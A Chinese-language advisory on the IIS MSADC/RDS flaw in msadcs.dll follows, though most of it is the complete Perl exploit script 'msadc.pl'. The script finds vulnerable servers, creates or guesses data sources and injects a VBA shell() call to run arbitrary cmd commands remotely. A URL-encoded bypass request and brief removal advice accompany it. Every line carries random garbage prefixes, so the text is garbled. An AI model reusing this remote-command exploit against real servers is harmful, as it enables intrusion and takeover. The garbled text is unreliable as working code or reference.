IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
LA6Ik_-F ~aL?{kb+ 涉及程序：
bOV]!) o Microsoft NT server
Nii5}, Ur " "&@ 描述：
:N
xksL^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`@:k*d ,S, R6#3G 详细：
V|nJ%G\ 如果你没有时间读详细内容的话，就删除:
xFp9H'j{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
" 68=dC 有关的安全问题就没有了。
RcI0n"Gi_ %V!!S #W 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
:O;uP_r9 j{/wG:: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
=_2(S 6~ 关于利用ODBC远程漏洞的描述，请参看:
N$Tzxs ]tbl1=| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }k8&T\V! wG22ffaki
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
oOQ0f |MGp http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]ddL'>$c$ L'>0E(D 这里不再论述。
mT1Q7ta*P n{c-3w.uD 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
|B),N f|a ' 1 \UFz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
f{] W*!VV- 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
GMob&0l8_ ) f%Q7 S8]YS@@D #将下面这段保存为txt文件，然后: "perl -x 文件名"
5*$z4O:Aa [{+ZQd #!perl
#Z_f/@b #
ADA* w 1 # MSADC/RDS 'usage' (aka exploit) script
oR<;Tr~{q #
-$D#u # by rain.forest.puppy
l W
Lj== #
v(jZ[{x@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tZD^<Q7}\ # beta test and find errors!
1 |3vwgRhs Mg u=cm ) use Socket; use Getopt::Std;
|c,'0V,"cH getopts("e:vd:h:XR", \%args);
E0Kt4%b #}'sknvM} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
x^UAtKSy HR?a93 if (!defined $args{h} && !defined $args{R}) {
T\T>\&nY+| print qq~
7I {rhA Usage: msadc.pl -h <host> { -d <delay> -X -v }
CH=k=)() ] -h <host> = host you want to scan (ip or domain)
};8PPR)\y -d <seconds> = delay between calls, default 1 second
L0xh?B -X = dump Index Server path table, if available
-$y/ *' -v = verbose
O'W[/\A56M -e = external dictionary file for step 5
-/6Ms%O 5 |oi*b Or a -R will resume a command session
yrrP#F ]-u>HO g\ ~; exit;}
]i'gU(+;` I%ZSh]On $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"eKM<S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
BH?fFe&J:` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
K%>3ev=y.s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1f5;^T
I $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
th|TwD&mO if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ebB8.(k9G3 YR68'Sft[ if (!defined $args{R}){ $ret = &has_msadc;
GG`;c?d@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
= xHzhh 7C^W <SUo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'\B!1B>T . "cmd /c ";
+}!FP3KgT $in=<STDIN>; chomp $in;
|f"1I4K g $command="cmd /c " . $in ;
lO^YAOY K>`*J J, if (defined $args{R}) {&load; exit;}
0]t7(P"F6 dIvvJk8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3=kw{r[2lM &try_btcustmr;
? `# WL N;LT print "\nStep 2: Trying to make our own DSN...";
zB)wY KwZ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
N< 7 ::G0v print "\nStep 3: Trying known DSNs...";
VxGR[kq$] &known_dsn;
=:v5`
:
4B=@<( H print "\nStep 4: Trying known .mdbs...";
VWE`wan< &known_mdb;
C Z/:(sOJ fhQ}Z%$ if (defined $args{e}){
AU
H_~SY print "\nStep 5: Trying dictionary of DSN names...";
H- Or &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
EN2/3~syO- UNKXfe(X9 print "Sorry Charley...maybe next time?\n";
]Saw}agE[% exit;
[%BWCd8Q~P e5.sqft ##############################################################################
FKu^{'Y6E0 /hb dQm sub sendraw { # ripped and modded from whisker
ST^{?Q sleep($delay); # it's a DoS on the server! At least on mine...
o^& nkR my ($pstr)=@_;
c P (is! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tY $4k26 die("Socket problems\n");
}h_=
n> if(connect(S,pack "SnA4x8",2,80,$target)){
LDq(WPI1# select(S); $|=1;
nM&Ud Kf3 print $pstr; my @in=<S>;
,L7:3W select(STDOUT); close(S);
*v9 {f? return @in;
GxcW^{; } else { die("Can't connect...\n"); }}
8AV G pL A LnE[}N6, ##############################################################################
5Lm<3:7Q+ 3r,^ is sub make_header { # make the HTTP request
@
Yzj my $msadc=<<EOT
91j.%#[v' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
e' t1.%w User-Agent: ACTIVEDATA
.2:S0=xt< Host: $ip
Z?tw#n[T Content-Length: $clen
XYsU)(;j Connection: Keep-Alive
]h_V5rdX@ >>HC| ADCClientVersion:01.06
>qjV(_?F - Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[i)G:8U t:.ZvA3 --!ADM!ROX!YOUR!WORLD!
AwO'%+Bv Content-Type: application/x-varg
92S,W?( Content-Length: $reqlen
-axV;+"b ?513A>U EOT
Cu +u'&U! ; $msadc=~s/\n/\r\n/g;
M- += t8 return $msadc;}
nfzKUJ Y 07tSXl5! ##############################################################################
b_j8g{/9 ZpQ8KY$ 5 sub make_req { # make the RDS request
?e+$?8l[3 my ($switch, $p1, $p2)=@_;
n"c3C) my $req=""; my $t1, $t2, $query, $dsn;
&26H Kf-rthO if ($switch==1){ # this is the btcustmr.mdb query
AT]Ty $query="Select * from Customers where City=" . make_shell();
TdH~ s z $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9J'3b < $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
h9L/.>CX >n^[-SWJCT elsif ($switch==2){ # this is general make table query
>On"BP# U $query="create table AZZ (B int, C varchar(10))";
&24z`ZS[w6 $dsn="$p1";}
h9 & V
hz _F^gF elsif ($switch==3){ # this is general exploit table query
v"a.%" oN8 $query="select * from AZZ where C=" . make_shell();
O:3DIT1# > $dsn="$p1";}
i(@<KH esVZ2_eL elsif ($switch==4){ # attempt to hork file info from index server
3tean U` $query="select path from scope()";
f.SmCgG $dsn="Provider=MSIDXS;";}
=3?"s(9 SR\F2@u elsif ($switch==5){ # bad query
P",E/beV $query="select";
{Lm%zdk*k $dsn="$p1";}
; NzS;C' trC+Etc $t1= make_unicode($query);
lKF<] 25 $t2= make_unicode($dsn);
o{&UT VyGs $req = "\x02\x00\x03\x00";
Po fHe $req.= "\x08\x00" . pack ("S1", length($t1));
\9t6 #8 $req.= "\x00\x00" . $t1 ;
\4 e6\6 + $req.= "\x08\x00" . pack ("S1", length($t2));
nmrYB w> $req.= "\x00\x00" . $t2 ;
% [ C-KQH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,"W.A return $req;}
X}gnO83 4C {3>BE ##############################################################################
edy6WzxBcm P?P))UB5 sub make_shell { # this makes the shell() statement
Ho:X.Z9A^ return "'|shell(\"$command\")|'";}
!1\j D T{%' "mm; ##############################################################################
az2CFd^M 8f wM)DKS sub make_unicode { # quick little function to convert to unicode
.xp|w^ my ($in)=@_; my $out;
Ew kZzVuX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
t846: Z%[ return $out;}
a:3f>0_t ;c_p a0L ##############################################################################
z.7'yJIP# )bG d++2 sub rdo_success { # checks for RDO return success (this is kludge)
)4P5i
b my (@in) = @_; my $base=content_start(@in);
Qe )#'$T if($in[$base]=~/multipart\/mixed/){
JrdH6Zg return 1 if( $in[$base+10]=~/^\x09\x00/ );}
].eY]o}= return 0;}
)tV^)n[w BsX#
~ ##############################################################################
SLze ) ?. ?) ~j>1"S sub make_dsn { # this makes a DSN for us
4{r_EV[( my @drives=("c","d","e","f");
q;V1fogqI) print "\nMaking DSN: ";
$i blLZhj foreach $drive (@drives) {
t[ZumQ@HC print "$drive: ";
!F|iL my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
k5@_8Rc "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
hoQ?8}r: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#`0iN+qh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7o4 vf~ return 0 if $2 eq "404"; # not found/doesn't exist
rGe^$!QB if($2 eq "200") {
F^]?'`7md foreach $line (@results) {
cs%NsnZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'0xJp|[xVP } return 0;}
(Q$]X5L !r8Jo{(pb ##############################################################################
KrFV 4J[ A<&:-Zz sub verify_exists {
Ht 'jm ( my ($page)=@_;
'\2lWR]ndd my @results=sendraw("GET $page HTTP/1.0\n\n");
Z)U#5|sf return $results[0];}
;')T}wuq 0CD2o\`8 ##############################################################################
G"BoD 5m ):_x sub try_btcustmr {
d%istFL) my @drives=("c","d","e","f");
Z0~ }'K my @dirs=("winnt","winnt35","winnt351","win","windows");
@Yq! B`4[@$ foreach $dir (@dirs) {
%-4e8d74/ print "$dir -> "; # fun status so you can see progress
W &>+~A foreach $drive (@drives) {
B9_0 Yq print "$drive: "; # ditto
[\ JZpF $reqlen=length( make_req(1,$drive,$dir) ) - 28;
i`g>Y5 $reqlenlen=length( "$reqlen" );
N[$(y}
!s $clen= 206 + $reqlenlen + $reqlen;
rr[9sk`^H rwxJR@Ttn my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_l?5GLl_F$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f-\l<o( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Z v=p0xH ]'aG oR ##############################################################################
-B V&u( "z }bgy sub odbc_error {
/Ki :6 my (@in)=@_; my $base;
N[}XLhbt my $base = content_start(@in);
z^4\?R50yO if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_W:
S>ij( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TBQ`:`g^m $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
RU ` Tz D return $in[$base+4].$in[$base+5].$in[$base+6];}
FFgy=F print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Jz#ZDZkm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
qi7wr\XNW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
is}Fy>9i na
FZ<'t>& ##############################################################################
Q9[dUdQm U[S;5xeF.j sub verbose {
^;YD3EZw my ($in)=@_;
7l Aa6"Y68 return if !$verbose;
P|.KMtG print STDOUT "\n$in\n";}
2 597#O nm'm*sU\ ##############################################################################
@D"1}CW sI`i sub save {
#k=! >%+E my ($p1, $p2, $p3, $p4)=@_;
f|VP _o< open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Smk]G))o{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:;" 3k64 close OUT;}
,`|KN w5 1&Y P}sg) ##############################################################################
cf@#a@7m9 qRB7I:m-Wi sub load {
7k 3":2 : my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B0 Z~L){i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/KKX;L[D( @p=<IN>; close(IN);
v *:m|wl $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
TF^]^XS' $target= inet_aton($ip) || die("inet_aton problems");
wCvD4C.WH print "Resuming to $ip ...";
t9pPG {1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
zMrZ[ AU if($p[1]==1) {
Zt ` ,D M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
xs &vgel> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wq]nz! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
y i@61X I if (rdo_success(@results)){print "Success!\n";}
d l{3fldb else { print "failed\n"; verbose(odbc_error(@results));}}
v2@M,xbxF: elsif ($p[1]==3){
V43JY_: if(run_query("$p[3]")){
C- 6+ZIk4 print "Success!\n";} else { print "failed\n"; }}
`%ymg8 ^ elsif ($p[1]==4){
u gfV' if(run_query($drvst . "$p[3]")){
5o~Z> print "Success!\n"; } else { print "failed\n"; }}
EoY#D '[ exit;}
w#b~R^U TU. h ##############################################################################
# |UrHK; ;U`HvIch sub create_table {
0XozYyq my ($in)=@_;
V,M8RYOnC! $reqlen=length( make_req(2,$in,"") ) - 28;
_X.M,id $reqlenlen=length( "$reqlen" );
Ar'5kPzY> $clen= 206 + $reqlenlen + $reqlen;
GV[[[fu my @results=sendraw(make_header() . make_req(2,$in,""));
rbtPG=t_R return 1 if rdo_success(@results);
WJ9u 3+ my $temp= odbc_error(@results); verbose($temp);
hrAI@.Bo return 1 if $temp=~/Table 'AZZ' already exists/;
\O/=g6w|t} return 0;}
9) YG)A~< hG;u8|uT^i ##############################################################################
V
u! ,tpa. -=qmYf sub known_dsn {
f CVSVn"o # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
jN {ED_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
b '{D4/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
P7Y[?=' v "banner", "banners", "ads", "ADCDemo", "ADCTest");
w|5}V6WD Z=H
f OC foreach $dSn (@dsns) {
i([A8C_A print ".";
mA >Pr<aV: next if (!is_access("DSN=$dSn"));
Sdt
@"6 if(create_table("DSN=$dSn")){
,vhR99g{ print "$dSn successful\n";
gVl#pVO`N if(run_query("DSN=$dSn")){
h'jnc. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
c& _ 3"2: print "Something's borked. Use verbose next time\n";}}} print "\n";}
(Pu*[STTT G/`_$ c ##############################################################################
XnG!T$ V?rI,'F>N sub is_access {
]JM9 ^F my ($in)=@_;
HxM-VK ' $reqlen=length( make_req(5,$in,"") ) - 28;
!{3pp $reqlenlen=length( "$reqlen" );
qzyQ2a_p $clen= 206 + $reqlenlen + $reqlen;
i gQyn|
my @results=sendraw(make_header() . make_req(5,$in,""));
=Tj0dfO|" my $temp= odbc_error(@results);
n_+Iw,a'm verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<St`"H return 0;}
(HJ60Hj O0I/^ ##############################################################################
,#m\ W8j JL$RBr sub run_query {
r:o!w7C:a my ($in)=@_;
%q!nTG U~ $reqlen=length( make_req(3,$in,"") ) - 28;
/;>EyWW $reqlenlen=length( "$reqlen" );
l-npz )E M $clen= 206 + $reqlenlen + $reqlen;
P"#^i<ut@T my @results=sendraw(make_header() . make_req(3,$in,""));
qy]-YJZ return 1 if rdo_success(@results);
BdYh: my $temp= odbc_error(@results); verbose($temp);
X3>(K1 return 0;}
~& l`" .KD07 ##############################################################################
f ;Dz(~ hw s0h )~z sub known_mdb {
xphqgOc12, my @drives=("c","d","e","f","g");
!`Wu LhB` my @dirs=("winnt","winnt35","winnt351","win","windows");
g?`J ,*y my $dir, $drive, $mdb;
)Qc$UI8L my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Psv!` K _Dv^~e1c # this is sparse, because I don't know of many
ZA P+jX; my @sysmdbs=( "\\catroot\\icatalog.mdb",
(/M c$V "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
:z:Blp>nK/ "\\system32\\certmdb.mdb",
rx"zqm9 }u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
oMVwId f f0F$*"#G my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
B?M+`; "\\cfusion\\cfapps\\forums\\forums_.mdb",
#.@=xhK/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
We ->d |= "\\cfusion\\cfapps\\security\\realm_.mdb",
PX'LN "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$1 v5*E "\\cfusion\\database\\cfexamples.mdb",
2*M*<p=v "\\cfusion\\database\\cfsnippets.mdb",
2*| ]#W "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>&VL2xLy "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
1gE`_% ?K "\\cfusion\\brighttiger\\database\\cleam.mdb",
D)_Ei'+*l "\\cfusion\\database\\smpolicy.mdb",
a:fHTU=\p "\\cfusion\\database\cypress.mdb",
S|[UEU3FpB "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>W;i2%T "\\website\\cgi-win\\dbsample.mdb",
)~ /U+,
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'GFzI:Xr "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g|P hNo ); #these are just
"jHN#} foreach $drive (@drives) {
d}ZH Y[ foreach $dir (@dirs){
{ZcZ\ Q;6 foreach $mdb (@sysmdbs) {
d c05,Bz print ".";
I?K0bs+6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
cGp^;> ]M print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q0~_D8e, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
zgqw*)C~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
"7HB3?2>W } else { print "Something's borked. Use verbose next time\n"; }}}}}
1 XG-O Cu:Zn% foreach $drive (@drives) {
$<v_Vm?6d foreach $mdb (@mdbs) {
v\ Ljm,+ print ".";
9z J`;1 if(create_table($drv . $drive . $dir . $mdb)){
5)UmA8"zVB print "\n" . $drive . $dir . $mdb . " successful\n";
#lF<="y%X if(run_query($drv . $drive . $dir . $mdb)){
kgz{m;R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
G)&'8W F5o } else { print "Something's borked. Use verbose next time\n"; }}}}
0R&
U18)y }
RY{tX` g 1~I*!p ##############################################################################
D@^ZpN8r qedGBl& sub hork_idx {
MbfzGYA2~ print "\nAttempting to dump Index Server tables...\n";
eEQ[^i print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"|%9xGX|D $reqlen=length( make_req(4,"","") ) - 28;
WM"^#=+$ $reqlenlen=length( "$reqlen" );
I*}#nY0+ $clen= 206 + $reqlenlen + $reqlen;
*K|aK p} my @results=sendraw2(make_header() . make_req(4,"",""));
sh ;uKzQ if (rdo_success(@results)){
Rs`a@ Fn my $max=@results; my $c; my %d;
&>e DCs for($c=19; $c<$max; $c++){
iI* 7WO[W $results[$c]=~s/\x00//g;
8(>.^667 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
c~xo@[NaS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!9,
pX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$V Wzv4^: $d{"$1$2"}="";}
0>iFXw:fn foreach $c (keys %d){ print "$c\n"; }
3J
T3; O } else {print "Index server doesn't seem to be installed.\n"; }}
U[b;#Y1X _m],(J=,z ##############################################################################
)\-";?sYky (L$~ zw5gr sub dsn_dict {
|8 bO5l: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
{ah=i8$ while(<IN>){
* Xoscc $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
It4z9Gh next if (!is_access("DSN=$dSn"));
J\3} il
N if(create_table("DSN=$dSn")){
N;'HR) print "$dSn successful\n";
s.` d<(X? if(run_query("DSN=$dSn")){
T3./V0]\I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8[)]3K x print "Something's borked. Use verbose next time\n";}}}
y.p 6%E_` print "\n"; close(IN);}
fm%RNAPvc 7 Zt\G-QV ##############################################################################
gvNZrp>e! -j _I_ sub sendraw2 { # ripped and modded from whisker
T-C#xmY( sleep($delay); # it's a DoS on the server! At least on mine...
to qzS!&.v my ($pstr)=@_;
.dT; T%3fO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xGfD z*t die("Socket problems\n");
t i^v%+r1 if(connect(S,pack "SnA4x8",2,80,$target)){
( 'n8=J print "Connected. Getting data";
E [.tQ|C open(OUT,">raw.out"); my @in;
p &>A5 select(S); $|=1; print $pstr;
-fJ@R1] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~AanU1U< close(OUT); select(STDOUT); close(S); return @in;
T:d m0i au } else { die("Can't connect...\n"); }}
_A YC|R| ]"Y%M' ##############################################################################
kQVD C,d ~9r!m5ws sub content_start { # this will take in the server headers
GWhAjL/N my (@in)=@_; my $c;
[Cj}nld for ($c=1;$c<500;$c++) {
U}w+`ZLN if($in[$c] =~/^\x0d\x0a/){
-,VhS I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_s R9 else { return $c+1; }}}
1/ pA/UVO return -1;} # it should never get here actually
vo
;F ; t-i6 FS- ##############################################################################
+xfW`[.{ +'/}[1q1/T sub funky {
M+;P ?|a my (@in)=@_; my $error=odbc_error(@in);
+}Q BzG W` if($error=~/ADO could not find the specified provider/){
PC Pf*G> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
!?o$-+a| exit;}
^YR|WK Y if($error=~/A Handler is required/){
UIOEkQ\Wl print "\nServer has custom handler filters (they most likely are patched)\n";
R
pI<]1 exit;}
nca ttp if($error=~/specified Handler has denied Access/){
c5E#QV0&v~ print "\nServer has custom handler filters (they most likely are patched)\n";
[OZ=iz. exit;}}
rN1U.FRe/ -
SS r ##############################################################################
z5` 8G =A E eJqszmH sub has_msadc {
5 n+ e my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
OR\DTLIl my $base=content_start(@results);
'B (eMnLg return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
o}MzqKfu return 0;}
cZr G:\A Vp $wHB& ########################
M6]0Y@@> ~sU?"V l>D-Aan 解决方案：
qX{X4b$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?#m<\]S< 2、移除web 目录: /msadc
